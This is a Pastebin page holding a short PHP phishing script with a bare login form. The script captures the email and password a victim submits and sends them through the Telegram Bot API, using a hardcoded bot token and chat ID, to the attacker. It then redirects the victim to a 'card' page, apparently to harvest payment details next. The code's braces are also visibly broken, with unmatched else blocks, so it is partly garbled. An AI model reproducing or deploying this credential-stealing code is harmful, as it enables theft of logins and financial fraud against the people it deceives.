Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- error_reporting();
- if (isset($_POST['submit'])) {
- $email = $_POST['email'];
- $pass = $_POST['pass'];
- $message ="email :".$email."\npassword :".$pass."";
- $botToken="1694224755:AAEKMQOfWWl3LUN6R4BI7MFM4k1bynKnxj0";
- $chatId="1300035109";
- $website="https://api.telegram.org/bot".$botToken;
- $params=[
- 'chat_id'=>$chatId,
- 'text'=>$message,
- ];
- $ch = curl_init($website . '/sendMessage');
- curl_setopt($ch, CURLOPT_HEADER, false);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- $result = curl_exec($ch);
- curl_close($ch);
- header('location: index.php?client=card');
- }else{
- header('location: index.php?client=login');
- }
- }else{
- header('location: index.php?client=login');
- }
- }else{
- header('location: index.php?client=login');
- }
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title></title>
- </head>
- <body>
- <form action="" method="POST">
- <input type="email" name="email"><br>
- <input type="password" name="pass"><br>
- <input type="submit" name="submit"><br>
- </form>
- </body>
- </html>
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement